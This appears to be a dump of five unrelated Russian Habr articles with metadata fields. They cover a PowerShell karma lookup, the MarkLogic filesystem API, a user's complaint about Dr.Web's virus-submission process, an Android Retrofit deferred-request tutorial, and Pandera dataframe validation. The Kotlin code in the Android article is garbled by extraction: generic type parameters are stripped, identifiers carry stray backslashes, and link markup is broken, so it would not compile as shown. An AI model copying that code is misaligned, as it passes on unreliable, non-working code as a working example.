# Подкуем хаос
Небольшое изменение [скрипта XaosCPS](http://habrahabr.ru/blogs/powershell/76538) для получения кармы.
`$user = ([xml](new-object system.net.WebClient -prop @{encoding=[System.Text.Encoding]::UTF8}).DownloadString("http://habrahabr.ru/api/profile/XaocCPS")).habrauser
Write-Host "$($user.login) - карма: $($user.karma), рейтинг: $($user.rating)"`
Просто чтобы проиллюстрировать как можно еще:
* Инциализируем свойство encoding прямо в параметрах вызова New-Object. Обратите внимание, что название параметра -properties писать полностью необязательно, главное, чтобы не было другого параметра, начинающегося с тех же букв
* Приведение к типу XML осуществляется при помощи строки [xml] перед выражением, а не перед переменной — просто чтобы сразу добраться до нужных данных, а не повторять потом путь каждый раз
* Форматирование при помощи вставки подвыражений в строку — таким образом у нас есть примитивный шаблонный дивижок в PowerShell прямо из коробки | https://habr.com/ru/post/92238/ | null | ru | null |
# Доступ к файловой системе в MarkLogic Server
MarkLogic является сервером приложений и любая программа написанная на XQuery для него может получить доступ не только к объектам хранящимся в самой базе данных, но и к файлам находящимся непосредственно на файловой системе.
API предоставляющий доступ к файловой системе в MarkLogic Server не так уж и богат, но имеющихся средств вполне достаточно чтобы зачитывать данные с файловой системы напрямую из XQuery кода и выполнять сохранения файлов на неё.
В рамках API MarkLogic’a внешним файлом или объектом называется файл или объект хранящийся на файловой системе. Соответственно внутренний объект – это объект который хранится в самой базе данных.
Рассмотрим подробней существующий API. Функции доступа к файловой системе расположены в пространстве имен “xdmp”.
И первая функция позволяет получить доступ к binary() объекту лежащему на файловой системе
```
xdmp:external-binary(
$path as xs:string,
[$starting-location as xs:double],
[$length as xs:double]
) as binary()
```
**$path** – путь до файла
**$starting-location** – Индекс первого байта в файле равен 1. По умолчанию = 1
**$length** – Количество зачитываемых байт
При этом **binary()** объект ассоциируется с файлом на FS и вы всегда можете определить является **binary()** объект внутренним или внешним.
Для доступа к это функции необходимо наличие прав
`marklogic.com/xdmp/privileges/xdmp-external-binary`
Если файла на файловой системе не существует то выкидывается исключение **XDMP-MISSINGFILE**
Следующая функция принимает **binary()** объект файла и возвращает путь к ассоциированному с ним файлу на файловой системе.
```
xdmp:external-binary-path(
$source as binary()
) as xs:string?
```
Исключение **XDMP-ARG** выкидывается в случае если переданный функции **binary()** объект не ассоциирован с файлом на файловой системе.
Функция **xdmp:binary-is-external** – проверяет является ли **binary()** объект внешним объектом (файлом)
```
xdmp:binary-is-external(
$source as binary()
) as xs:boolean
```
С помощью следующей функции можно получить листинг директории на файловой системе.
```
xdmp:filesystem-directory(
$pathname as xs:string
) as element(dir:directory)
```
**$pathname** – интересующая нас директория
Для выполнения функции обязательно наличие прав
`marklogic.com/xdmp/privileges/xdmp-filesystem-directory`
Также системный пользователь должен иметь права на чтение указанной директории
Исключения **SVC-DIROPEN** или **SVC-FILOPEN** выбрасываются в случае если у пользователя выполняющего функцию недостаточно для этого прав.
Результатом функции является список объектов расположенных на FS. Пример
```
xdmp:filesystem-directory( "./" )
Admin
./Admin
directory
0
2013-05-02T13:09:53+04:00
LEGALNOTICES.txt
./LEGALNOTICES.txt
file
28343
2013-04-19T23:06:32+04:00
...
```
Для чтения текстовых данных с файловой системы можно воспользоваться такой функцией
```
xdmp:filesystem-file(
$pathname as xs:string
) as xs:string
```
Где **$pathname** – путь до файла, который нужно зачитать в XQuery
Для того чтобы операция чтения закончилась успешно — нужно чтобы данные в файле находились в UTF-8 кодировке. Из-за этого требования при чтении бинарных данных этой функцией возникнет исключение и MarkLogic будет ручаться на кодировку данных. Для чтения бинарных данных нужно использовать функцию **xdmp:external-binary**.
Для выполнения функции необходимы привилегии
`marklogic.com/xdmp/privileges/xdmp-filesystem-file`
Проверить существует ли файл на файловой системе можно так
```
xdmp:filesystem-file-exists(
$pathname as xs:string
) as xs:boolean
```
Где **$pathname** – проверяемый путь
Для выполнения функции необходимы привилегии
`marklogic.com/xdmp/privileges/xdmp-filesystem-file-exists`
Для того чтобы узнать размер файла существует функция **xdmp:filesystem-file-length**
```
xdmp:filesystem-file-length(
$pathname as xs:string
) as xs:unsignedLong?
```
Функция возвращает пустую последовательность если файл не существует
Для выполнения функции необходимы привилегии
`marklogic.com/xdmp/privileges/xdmp-filesystem-file-length`
Далее рассмотрим функцию сохранения
```
xdmp:save(
$path as xs:string,
$node as node(),
[$options as node()?]
) as empty-sequence()
```
Данная функция сериализует любой (xml, text, bunary) объект и сохраняет его на файловую системы под указанных именем в указанную директорию.
Опций у этой функции довольно много, например output-encoding, которая задает кодировку докумеента. Но существующие опции этой функции достаточно специфичны и для того чтобы просто сохранить документ на файловую систему достаточно выполнить такой код:
```
let $text := text { "hello world" }
return
xdmp:save("greeting.txt", $text)
```
или например так можно сохранить файл из DB на файловую систему
```
let $pdf := doc("/mydocs/stuff.pdf")
return
xdmp:save("mystuff.pdf", $pdf)
```
Для выполнения функции необходимы привилегии
`marklogic.com/xdmp/privileges/xdmp-save`
MarkLogic Server это в первую очередь хранение документов в базе данных и обработка этих документов запросами XQuery. Но иногда требуется прочитать или записать файл на файловую систему и для этого в MarkLogic есть все необходимое. Конечно же для сложной обработки бинарных файлов, преобразования изображений эти средства не годятся, но с задачами поставленными перед ними превосходно справляются. | https://habr.com/ru/post/196402/ | null | ru | null |
# DRWEB — обновление базы вирусов
Вчера (позор на мою голову) таки словил какой-то вирус блокиратор. Правда он был совсем добрый — всего лишь показывал порнуху в середине экрана и блокировал диспетчер задач.
Перезагружаюсь в безопасный режим, запускаю свежий cureit (времени искать вручную не было), ухожу праздновать ДР к другу. Dr.WEB ни чего не нашел. Запускаю regedit и в
`hklm\software\microsoft\windows\currentversion\run`
нахожу
`c:\program files\plugin.exe`
Удаляю запись в реесте, перезагружаюсь, качаю еще раз свежий cureit, тыкаю его мордой в этот файл — чисто, 0 вредоносных объектов. Даю касперскому через сайт проверить — обнаруживает там вредоносное ПО.
Решил сделать доброе дело — отправить файлик с вирусом через страничку https://vms.drweb.com/sendvirus/. Для отслеживания за процессом вписал свою почту. Теперь с интервалом примерно раз в час шлют сообщение об очередном присвоении номера моей заявки:
> Пожалуйста, включайте строку: [drweb.com #XYZQWER].в поле Subject всей Вашей корреспонденции по данной теме.Для этого вы можете просто ответить на это или любоедругое письмо по данной теме.Спасибо за сотрудничество.
А при попытке ответа получаю отлуп:
> Could not find a ticket with id XYZQWER
И так уже 11 часов.
Я негодую!
PS как обозвал эту штуку касперский смогу сказать вечером, как домой доберусь. Если Dr.Web чем порадует — напишу.
UPD: Dr.Web перестал мне писать, надеюсь, добавили таки в базу. Первое письмо в 22:24, последнее — в 11:36, т.е. примерно 13 часов. Из последнего письма не ясно, что все же сделали с этой заразой. Исходный файл, к сожалению, утерян.
UPD2: http://www.securelist.com/ru/search?VN=Trojan-Downloader.Win32.Piker.axr&sha1=c7f46a883544f02485652f65343d48202ca7dd6f — он.
UPD3: Файл таки удалось вытащить из касперского. DrWeb теперь определяет его как Trojan.Winlock.653. Сообщения типа «файл, который вы нам прислали, добавлен в базу» так и не получил, хотя очень ждал. | https://habr.com/ru/post/79500/ | null | ru | null |
# Сервис отложенных запросов для Retrofit на Android
Как Вы обрабатываете отсутствие доступа в интернет в своем приложении? Показываете сообщение "Нет интернета, попробуйте позже"? Допустим случай, когда мы хотим гарантировать выполнение сетевого запроса пользователя, а не заставлять его искать интернет и снова повторять не удавшиеся запросы. Давайте создадим такую ситуацию и научимся ее обрабатывать. Реализованный пример, как обычно можно скачать по `[https://github.com/AndroidLab/DeferredRequests\_Example](</code><a href=)`">`*ссылке* на GitHub в конце статьи!`
Что будем делать
----------------
Создадим инструмент, который будет сохранять неудачные сетевые запросы при отсутствии сети, интерфейс для управления сохраненными запросами, автоматическое выполнение запросов при появлении сети.
Что для этого понадобится
-------------------------
1. Класс сервис, который будет ждать появление интернета и запускать классы исполнителей для отправки сохраненного запроса.
2. Класс сервис, представляющий кэш для хранения и управления отложенными запросами.
3. Интерфейс для классов исполнителей, которые будут выполнять запрос.
4. Интерфейс для дата классов, которые будут содержать данные запроса.
5. Карту, где ключом будет класс данных запроса, а значением исполнитель для выполнения запроса с этими данными.
6. Графический интерфейс, для просмотра и управления отложенными запросами.
Создаем проект и подключаем зависимости
---------------------------------------
Создаем новый проект на основе Empty Activity, я назову его DeferredRequests\_Example
Создание нового проектаДобавляем необходимые зависимости в build.gradle проекта
```
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.5.0'
implementation 'com.squareup.retrofit2:retrofit:2.9.0'
implementation 'com.squareup.retrofit2:converter-gson:2.9.0'
```
### Создаем необходимые классы
**Класс DeferredRequestsService** **и соответствующий ему интерфейс IDeferredRequestsService**
Он будет пытаться выполнить запрос и в случае, если запрос выполнить не получается, ложить его в кэш.
Класс DeferredRequestsService
```
/**
* Представляет сервис выполнения отложженых запросов к серверу.
* @param context Контекст приложения.
* @param deferredRequestStorage Кэш для хранения отложенных запросов.
* @param deferredRequestsMap Карта с отложенными запросами.
*/
class DeferredRequestsService(
private val context: Context,
private val deferredRequestStorage: IDeferredRequestStorage,
private val deferredRequestsMap: IDeferredRequestsMap
) : IDeferredRequestsService {
private val _repeatJob = CoroutineScope(Dispatchers.IO).launch {
while (true) {
repeatRequest()
delay(5000)
}
}
private suspend fun repeatRequest(): Boolean {
if (deferredRequestStorage.countElements > 0) {
val requestModel = deferredRequestStorage.getRequestModel(0)
if (requestModel != null && handleRequest(requestModel)) {
deferredRequestStorage.removeRequestModel(requestModel)
repeatRequest()
} else {
return false
}
} else {
return true
}
return true
}
override suspend fun handleRequest(
requestModel: IDeferredRequestModel
): Boolean {
//Если не был указан id пользователя
if (requestModel.userId == null) {
requestModel.userId = UUID.fromString("12eb6997-6c60-4828-84e1-d4e211ba00a6")
}
//Если не было указано имя пользователя
if (requestModel.userName == null) {
requestModel.userName = "Иванов Иван Иванович"
}
//Если не был указан id запроса
if (requestModel.requestId == null) {
requestModel.requestId = UUID.randomUUID()
}
//Если не было указано время запроса
if (requestModel.date == null) {
requestModel.date = SimpleDateFormat("dd.MM.yyyy HH:mm", Locale.getDefault()).format(Date())
}
var isSuccess = true
try {
deferredRequestsMap.getRequestExecutor(requestModel).execute(requestModel)
} catch (e: Exception) {
when (e) {
//По эти ошибкам определяем, что запрос не был выполнен
is SocketTimeoutException, is ConnectException, is UnknownHostException -> {
isSuccess = false
}
else -> throw e
}
}
return if (isSuccess) {
true
} else {
if (deferredRequestStorage.addRequestModel(requestModel)) {
Toast.makeText(context, "Запрос был добавлен в кэш", Toast.LENGTH_LONG).show()
}
false
}
}
override suspend fun retryHandleRequests():Boolean {
_repeatJob.cancel()
val success = repeatRequest()
_repeatJob.start()
return success
}
override fun registerDeferredExecutorMap(deferredRequestExecutorMap: Map, IDeferredRequestExecutor>) {
deferredRequestsMap.addRequestExecutor(deferredRequestExecutorMap)
}
}
```
Интерфейс IDeferredRequestsService
```
/**
* Описывает методы выполнения отложенных запросов к серверу.
*/
interface IDeferredRequestsService {
/**
* Выполняет запрос на сервер.
* @param deferredRequestModel Данные для запроса к серверу.
*/
suspend fun handleRequest(
deferredRequestModel: IDeferredRequestModel
): Boolean
/**
* Пытается выполнить все запросы.
*/
suspend fun retryHandleRequests(): Boolean
/**
* Запускает сервис.
*/
fun startService()
/**
* Останавливает сервис.
*/
fun stopService()
/*
* Регистрирует карту для отложенного запроса.
*/
fun registerDeferredExecutorMap(deferredRequestExecutorMap: Map, IDeferredRequestExecutor>)
}
```
**Класс DeferredRequestStorage и соответствующий ему интерфейс IDeferredRequestStorage**
Он будет хранить в себе модели запросов, предоставлять возможность добавлять, удалять и тд
Класс DeferredRequestStorage
```
/**
* Представляет хранилище для отложенных запросов.
*/
class DeferredRequestStorage : IDeferredRequestStorage {
private val _requests = mutableListOf()
private val \_requestsFlow = MutableSharedFlow>(extraBufferCapacity = 1, replay = 1)
override val requestsFlow: SharedFlow> = \_requestsFlow.asSharedFlow()
override val countElements: Int
get() = \_requests.size
override fun getRequestModel(position: Int) =
if(position > -1 && position < countElements) {
\_requests[position]
} else {
null
}
override fun addRequestModel(requestModel: IDeferredRequestModel): Boolean {
return if (\_requests.contains(requestModel)) {
false
} else {
\_requests.add(requestModel)
\_requestsFlow.tryEmit(\_requests)
true
}
}
override fun removeRequestModel(requestModel: IDeferredRequestModel) {
\_requests.remove(requestModel)
\_requestsFlow.tryEmit(\_requests)
}
override fun removeAllRequestsModel() {
\_requests.clear()
\_requestsFlow.tryEmit(\_requests)
}
}
```
Интерфейс IDeferredRequestStorage
```
/**
* Описывает методы кэширования запросов.
*/
interface IDeferredRequestStorage {
/**
* Возвращает список не отправленных запросов.
*/
val requestsFlow: SharedFlow>
/\*\*
\* Возвращает количество элементов в кэше.
\*/
val countElements: Int
/\*\*
\* Возвращает модель запроса из кэша.
\* @param position Позиция запроса в кэше.
\*/
fun getRequestModel(position: Int): IDeferredRequestModel?
/\*\*
\* Добавляет модель запроса в кэш.
\* @param deferredRequestModel Данные запроса.
\* @return Возвращает результат добавления запроса в кэш.
\*/
fun addRequestModel(deferredRequestModel: IDeferredRequestModel): Boolean
/\*\*
\* Удаляет модель запроса из кэша.
\* @param deferredRequestModel Данные запроса.
\*/
fun removeRequestModel(deferredRequestModel: IDeferredRequestModel)
/\*\*
\* Удаляет все модели запросов из кэша.
\*/
fun removeAllRequestsModel()
}
```
**Интерфейс IDeferredRequestModel**
Он будет описывать обязательные поля для дата классов с данными для запроса
Интерфейс IDeferredRequestModel
```
/**
* Описывает модель отложенного запроса.
*/
interface IDeferredRequestModel {
/**
* Возвращает заголовок запроса.
*/
val title: String
/**
* Возвращает описание запроса.
*/
val description: String
/**
* Возвращает идентификатор пользователя.
*/
var userId: UUID?
/**
* Возвращает имя пользователя.
*/
var userName: String?
/**
* Возвращает id запроса.
*/
var requestId: UUID?
/**
* Возвращает время запроса.
*/
var date: String?
}
```
**Интерфейс IDeferredRequestExecutor**
Он будет описывать всего один метод принимающий в себя дата класс с данными запроса и выполнение запроса с этими данными.
Интерфейс IDeferredRequestExecutor
```
/**
* Описывает метод исполнителя на отправку запроса.
*/
interface IDeferredRequestExecutor {
/\*\*
\* Выполняет запрос.
\* @param deferredRequestModel Данные для запроса.
\*/
suspend fun execute(deferredRequestModel: T): Response
}
```
**Класс DeferredExecutorsMap и соответствующий ему интерфейс IDeferredExecutorsMap**
Он будет представлять собой карту, где ключом будет класс с данными для запроса, а значением класс исполнитель для этих данных.
Класс DeferredExecutorsMap
```
/**
* Представляет карту с исполнителями для отложенных запросов.
*/
class DeferredExecutorsMap: IDeferredExecutorsMap {
private val commandsMap = mutableMapOf, IDeferredRequestExecutor>()
override fun getRequestExecutor(
requestModel: IDeferredRequestModel
): IDeferredRequestExecutor =
commandsMap[requestModel::class.java] ?: throw RuntimeException("Не найден исполнитель для класса модели")
override fun addRequestExecutor(assuranceCommandMap: Map, IDeferredRequestExecutor>) {
commandsMap.putAll(assuranceCommandMap)
}
}
```
Интерфейс IDeferredExecutorsMap
```
/**
* Описывает методы для карты с отложенными запросами.
*/
interface IDeferredExecutorsMap {
/**
* Возвращает класс исполнителя.
* @param deferredRequestDataClass Класс модели с данными для запроса.
*/
fun getRequestExecutor(
deferredRequestDataClass: IDeferredRequestModel
): IDeferredRequestExecutor
/\*\*
\* Добавляет карту для гарантированного запроса.
\* @param assuranceCommandMap Карта для гарантированного запроса.
\*/
fun addRequestExecutor(assuranceCommandMap: Map, IDeferredRequestExecutor>)
}
```
**Интерфейс IVKApiService**
Он будет реализовываться ретрофитом и описывать один метод возвращающий список записей со стены ВКонтакте по указанному id. Нам будет возвращаться ошибка "User authorization failed: no access\_token passed.", но это не важно, важен сам факт отправки запроса.
Интерфейс IVKApiService
```
/**
* Описывает методы запросов к Vkontakte.
*/
interface IVKApiService {
/**
* Возвращает список записей со стены пользователя или сообщества по указанному id.
*/
@GET("wall.get")
suspend fun getWall(
@Query("owner_id") owner_id: String
): Response
}
```
**Класс VKontakteRequestModel с данными для запроса и соответствующий ему класс исполнителя VKontakteRequestExecutor**
Класс *VKontakteRequestModel*будет содержать данные для запроса, а *VKontakteRequestExecutor* с помощью ретрофита будет выполнять этот запрос
Класс VKontakteRequestModel
```
/**
* Представляет данные для запроса к ВКонтакте.
* @param ownerId Возвращает id группы для запроса.
*/
data class VKontakteRequestModel(
val ownerId: String,
override val title: String = "Запрос к ВКонтакте",
override val description: String = "Запрос на получение записей со стены группы ВК",
override var userId: UUID? = null,
override var userName: String? = null,
override var requestId: UUID? = null,
override var date: String? = null
) : IDeferredRequestModel
```
Класс VKontakteRequestExecutor
```
/**
* Представляет исполнителя для запроса к ВКонтакте.
* @param vkApiService Сервис запросов к ВКонтакте.
*/
class VKontakteRequestExecutor (
private val vkApiService: IVKApiService
) : IDeferredRequestExecutor {
override suspend fun execute(deferredRequestModel: VKontakteRequestModel): Response {
return vkApiService.getWall(deferredRequestModel.ownerId)
}
}
```
Класс DeferredRequestApplication
--------------------------------
Он представляет класс нашего приложения и будет хранить синглтоны *IDeferredRequestsService*, *IDeferredRequestStorage* и *IDeferredExecutorsMap*. По хорошему следует использовать какой ни будь DI инструмент, но для упрощения примера сделаем так. Не забываем добавлять его в манифест.
Класс DeferredRequestApplication
```
/**
* Представляет приложение.
*/
class DeferredRequestApplication : Application() {
var retrofit = Retrofit.Builder().baseUrl("https://api.vk.com/method/").addConverterFactory(GsonConverterFactory.create()).build() // Retrofit.
lateinit var deferredRequestsService: IDeferredRequestsService // Сервис выполнения отложженых запросов к серверу.
lateinit var deferredRequestStorage: IDeferredRequestStorage // Хранилище для отложенных запросов.
lateinit var deferredExecutorsMap: IDeferredExecutorsMap // Хранилище для отложенных запросов.
companion object {
lateinit var application: DeferredRequestApplication
}
override fun onCreate() {
super.onCreate()
application = this
deferredRequestStorage = DeferredRequestStorage()
deferredExecutorsMap = DeferredExecutorsMap()
deferredRequestsService = DeferredRequestsService(this, deferredRequestStorage, deferredExecutorsMap)
}
}
```
Класс MainActivity и соответствующий ему xml activity\_main
-----------------------------------------------------------
Он будет представлять наш основной экран, здесь будет всего 2 кнопки. Первая кнопка будет отсылать тестовый запрос, а вторая кнопка откроет нам экран для управления отложенными запросами. Не забывайте добавить разрешение на доступ в интернет в манифест файле
Класс MainActivity
```
/**
* Представляет главный экран приложения.
*/
class MainActivity : AppCompatActivity() {
private val deferredRequestsService = DeferredRequestApplication.application.deferredRequestsService
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
val testRequest = DeferredRequestApplication.application.retrofit.create(IVKApiService::class.java)
//Создаем карту, где ключ это класс нашей моли запроса, а значение это исполнитель для этого запроса
deferredRequestsService.registerDeferredExecutorMap(mapOf(VKontakteRequestModel::class.java to VKontakteRequestExecutor(testRequest) as IDeferredRequestExecutor))
findViewById(R.id.deferredRequestsBtn).setOnClickListener {
// TODO Переход на экран управления отложенными запросами реализован в примере, который можно скачать по ссылке: https://github.com/AndroidLab/DeferredRequests\_Example
}
findViewById(R.id.sendRequestBtn).setOnClickListener {
lifecycleScope.launch {
//Создаем модель нашего запроса
val vkontakteRequestModel = VKontakteRequestModel(
ownerId = "-1" //-1 это id главной группы вк, https://vk.com/club1
)
//Пытаемся выполнить запрос через наш сервис, если интернет есть, запрос успешно выполнится, если нет, будет отложен к кэш
deferredRequestsService.handleRequest(vkontakteRequestModel)
}
}
}
}
```
xml activity\_main
```
xml version="1.0" encoding="utf-8"?
```
Статья получилась достаточно объемной, поэтому я не буду здесь описывать создание экрана для управления отложенными запросами, его реализацию можно будет посмотреть в примере, который можно скачать `[https://github.com/AndroidLab/DeferredRequests\_Example](</code><a href=)`">Здесь``
Пробуем, как это все работает
-----------------------------
Запускаем получившийся проект (Если не получилось, скачайте по ссылки внизу статьи), увидим экран с 2 кнопками
Главный экранНажмем кнопку "Отправить запрос", если интернет включен, увидим такое сообщение *"Response{protocol=h2, code=200, message=, url=*[*https://api.vk.com/method/wall.get?owner\_id=-1}*](https://api.vk.com/method/wall.get?owner_id=-1%7D)*"
Все отлично, видим код 200, запрос успешно был отправлен.*Теперь отключаем интернет и снова нажимаем "Отправить запрос", видим сообщение *"Запрос был добавлен в кэш". Запрос был сохранен и будет отправлен, как только появится интернет. Включаем доступ в интернет, и через несколько секунд видим сообщение "Response{protocol=h2, code=200, message=, url=*[*https://api.vk.com/method/wall.get?owner\_id=-1}*](https://api.vk.com/method/wall.get?owner_id=-1%7D)*", запрос был успешно отправлен.*
Экран для просмотра и управления запросами
------------------------------------------
Я не буду описывать реализацию, ее можно посмотреть скачав пример"><https://github.com/AndroidLab/DeferredRequests_Example>.
Запускаем приложение, отключаем интернет, нажмем 2 раза "Отправить запрос", они не смогут выполниться и будут отправлены к кэш. Нажмем кнопку "Отложенные запросы".
Экран с отложенными запросамиЗдесь видим 2 наших не отправленных запроса. Пока мы находимся на этом экране, сервис останавливается и запросы не будут отправлены автоматически. Обращаясь к кэшу, мы можем удалять запросы. Включаем доступ в интернет и нажимаем кнопку "Отправить", все запросы отправятся, а мы снова увидим сообщение с кодом 200
*"Response{protocol=h2, code=200, message=, url=*[*https://api.vk.com/method/wall.get?owner\_id=-1}*](https://api.vk.com/method/wall.get?owner_id=-1%7D)*"*
`[https://github.com/AndroidLab/DeferredRequests\_Example](</code><a href=)`">`Скачать пример проекта можно здесь` | https://habr.com/ru/post/580056/ | null | ru | null |
# Как проверить данные во фрейме Pandas с помощью Pandera
Убедитесь, что данные соответствуют ожиданиям
---------------------------------------------
В науке о данных важно тестировать не только функции, но и данные, чтобы убедиться, что они работают так, как вы ожидали. Материалом о простой библиотеке [Pandera](https://pandera.readthedocs.io/en/stable/) для валидации фреймов данных Pandas делимся к старту флагманского [курса по Data Science](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_310322&utm_term=lead).
---
Чтобы установить Pandera, в терминале наберите:
```
pip install pandera
```
Введение
--------
Начнём с простого набора данных, чтобы понять, как работает Pandera:
```
import pandas as pd
fruits = pd.DataFrame(
{
"name": ["apple", "banana", "apple", "orange"],
"store": ["Aldi", "Walmart", "Walmart", "Aldi"],
"price": [2, 1, 3, 4],
}
)
fruits
```
Представьте: ваш менеджер сказал вам, что в наборе данных могут храниться только определённые фрукты, а значение их цены должно быть меньше 4:
```
available_fruits = ["apple", "banana", "orange"]
nearby_stores = ["Aldi", "Walmart"]
```
Проверка данных вручную может занять много времени, особенно когда их много. Есть ли способ автоматизировать проверку? Да, здесь и пригодится Pandera:
* создадим тесты всего набора данных с помощью DataFrameSchema;
* тесты для каждой колонки — при помощи Column;
* тип теста определим при помощи Check.
```
import pandera as pa
from pandera import Column, Check
schema = pa.DataFrameSchema(
{
"name": Column(str, Check.isin(available_fruits)),
"store": Column(str, Check.isin(nearby_stores)),
"price": Column(int, Check.less_than(4)),
}
)
schema.validate(fruits)
```
```
SchemaError: failed element-wise validator 0:
failure cases:
index failure\_case
0 3 4
```
Поясню этот код:
* `"name": Column(str, Check.isin(available_fruits))` проверяет, имеет ли столбец name тип string и все ли значения столбца name находятся внутри указанного списка;
* `"price": Column(int, Check.less_than(4))` проверяет, все ли значения в столбце price имеют тип int и меньше 4;
* не все значения в столбце price меньше 4, поэтому тест не проходит.
Другие встроенные методы Checks вы найдёте [здесь](https://pandera.readthedocs.io/en/stable/reference/generated/pandera.checks.Check.html#pandera-checks-check).
### Настраиваемые проверки
Проверки можно писать и через лямбда-выражения. В коде ниже Check(lambda price: sum(price) < 20) проверяет, меньше ли 20 сумма в price.
```
schema = pa.DataFrameSchema(
{
"name": Column(str, Check.isin(available_fruits)),
"store": Column(str, Check.isin(nearby_stores)),
"price": Column(
int, [Check.less_than(5), Check(lambda price: sum(price) < 20)]
),
}
)
schema.validate(fruits)
```
SchemaModel
-----------
Когда тесты сложные, чище код сделают не словари, а классы данных. К счастью, Pandera позволяет создавать тесты с классами данных.
```
from pandera.typing import Series
class Schema(pa.SchemaModel):
name: Series[str] = pa.Field(isin=available_fruits)
store: Series[str] = pa.Field(isin=nearby_stores)
price: Series[int] = pa.Field(le=5)
@pa.check("price")
def price_sum_lt_20(cls, price: Series[int]) -> Series[bool]:
return sum(price) < 20
Schema.validate(fruits)
```
Декоратор валидации
-------------------
### Проверка ввода
Как тестировать входные значения функции? Прямолинейный подход — добавить schema.validate(input) прямо в функцию:
```
fruits = pd.DataFrame(
{
"name": ["apple", "banana", "apple", "orange"],
"store": ["Aldi", "Walmart", "Walmart", "Aldi"],
"price": [2, 1, 3, 4],
}
)
schema = pa.DataFrameSchema(
{
"name": Column(str, Check.isin(available_fruits)),
"store": Column(str, Check.isin(nearby_stores)),
"price": Column(int, Check.less_than(5)),
}
)
def get_total_price(fruits: pd.DataFrame, schema: pa.DataFrameSchema):
validated = schema.validate(fruits)
return validated["price"].sum()
get_total_price(fruits, schema)
```
Но он осложняет тестирование. Функция get\_total\_price имеет аргументы fruits and schema, а значит, в тест функции нужно включить оба:
```
def test_get_total_price():
fruits = pd.DataFrame({'name': ['apple', 'banana'], 'store': ['Aldi', 'Walmart'], 'price': [1, 2]})
# Need to include schema in the unit test
schema = pa.DataFrameSchema(
{
"name": Column(str, Check.isin(available_fruits)),
"store": Column(str, Check.isin(nearby_stores)),
"price": Column(int, Check.less_than(5)),
}
)
assert get_total_price(fruits, schema) == 3
```
Функция test\_get\_total\_price проверяет и данные, и функцию. Модульный тест должен проверять только одну вещь, поэтому включение проверки данных внутри функции — не идеальное решение.
Эту проблему Pandera решает декоратором check\_input. Аргумент декоратора применяется в валидации входных значений:
```
from pandera import check_input
@check_input(schema)
def get_total_price(fruits: pd.DataFrame):
return fruits.price.sum()
get_total_price(fruits)
```
Если входное значение некорректно, Pandera поднимает исключение до обработки значения в функции:
```
fruits = pd.DataFrame(
{
"name": ["apple", "banana", "apple", "orange"],
"store": ["Aldi", "Walmart", "Walmart", "Aldi"],
"price": ["2", "1", "3", "4"],
}
)
@check_input(schema)
def get_total_price(fruits: pd.DataFrame):
return fruits.price.sum()
get_total_price(fruits)
```
```
SchemaError: error in check_input decorator of function 'get_total_price': expected series 'price' to have type int64, got object
```
Такая проверка до обработки в функции экономит много времени.
### Проверка вывода
Для проверки вывода можно использовать декоратор check\_output:
```
from pandera import check_output
fruits_nearby = pd.DataFrame(
{
"name": ["apple", "banana", "apple", "orange"],
"store": ["Aldi", "Walmart", "Walmart", "Aldi"],
"price": [2, 1, 3, 4],
}
)
fruits_faraway = pd.DataFrame(
{
"name": ["apple", "banana", "apple", "orange"],
"store": ["Whole Foods", "Whole Foods", "Schnucks", "Schnucks"],
"price": [3, 2, 4, 5],
}
)
out_schema = pa.DataFrameSchema(
{"store": Column(str, Check.isin(["Aldi", "Walmart", "Whole Foods", "Schnucks"]))}
)
@check_output(out_schema)
def combine_fruits(fruits_nearby: pd.DataFrame, fruits_faraway: pd.DataFrame):
fruits = pd.concat([fruits_nearby, fruits_faraway])
return fruits
combine_fruits(fruits_nearby, fruits_faraway)
```
### Проверка ввода и вывода
Проверить входные и выходные данные можно с помощью декоратора check\_io:
```
from pandera import check_io
in_schema = pa.DataFrameSchema({"store": Column(str)})
out_schema = pa.DataFrameSchema(
{"store": Column(str, Check.isin(["Aldi", "Walmart", "Whole Foods", "Schnucks"]))}
)
@check_io(fruits_nearby=in_schema, fruits_faraway=in_schema, out=out_schema)
def combine_fruits(fruits_nearby: pd.DataFrame, fruits_faraway: pd.DataFrame):
fruits = pd.concat([fruits_nearby, fruits_faraway])
return fruits
combine_fruits(fruits_nearby, fruits_faraway)
```
Другие аргументы проверки столбцов
----------------------------------
### Null
По умолчанию Pandera выдаёт ошибку, если в проверяемом столбце есть Null. Если нулевые значения допустимы, в класс Column добавьте nullable=True:
```
import numpy as np
fruits = fruits = pd.DataFrame(
{
"name": ["apple", "banana", "apple", "orange"],
"store": ["Aldi", "Walmart", "Walmart", np.nan],
"price": [2, 1, 3, 4],
}
)
schema = pa.DataFrameSchema(
{
"name": Column(str, Check.isin(available_fruits)),
"store": Column(str, Check.isin(nearby_stores), nullable=True),
"price": Column(int, Check.less_than(5)),
}
)
schema.validate(fruits)
```
### Дубликаты
По умолчанию дубликаты допустимы. Чтобы они поднимали исключение, добавьте аргумент allow\_duplicates=False:
```
schema = pa.DataFrameSchema(
{
"name": Column(str, Check.isin(available_fruits)),
"store": Column(
str, Check.isin(nearby_stores), nullable=True, allow_duplicates=False
),
"price": Column(int, Check.less_than(5)),
}
)
schema.validate(fruits)
```
```
SchemaError: series 'store' contains duplicate values: {2: 'Walmart'}
```
### Преобразование типов данных
Аргумент coerce=True изменяет тип данных столбца, если тип не удовлетворяет условию проверки.
В коде ниже тип данных цены изменён с целого на строку:
```
fruits = pd.DataFrame(
{
"name": ["apple", "banana", "apple", "orange"],
"store": ["Aldi", "Walmart", "Walmart", "Aldi"],
"price": [2, 1, 3, 4],
}
)
schema = pa.DataFrameSchema({"price": Column(str, coerce=True)})
validated = schema.validate(fruits)
validated.dtypes
```
```
name object
store object
price object
dtype: object
```
Сопоставление шаблонов
----------------------
Что, если мы хотим изменить все столбцы, которые начинаются со слова store?
```
favorite_stores = ["Aldi", "Walmart", "Whole Foods", "Schnucks"]
fruits = pd.DataFrame(
{
"name": ["apple", "banana", "apple", "orange"],
"store_nearby": ["Aldi", "Walmart", "Walmart", "Aldi"],
"store_far": ["Whole Foods", "Schnucks", "Whole Foods", "Schnucks"],
}
)
```
Pandera позволяет нам применять одни и те же проверки к нескольким столбцам с определённым шаблоном, вот так: regex=True:
```
schema = pa.DataFrameSchema(
{
"name": Column(str, Check.isin(available_fruits)),
"store_+": Column(str, Check.isin(favorite_stores), regex=True),
}
)
schema.validate(fruits)
```
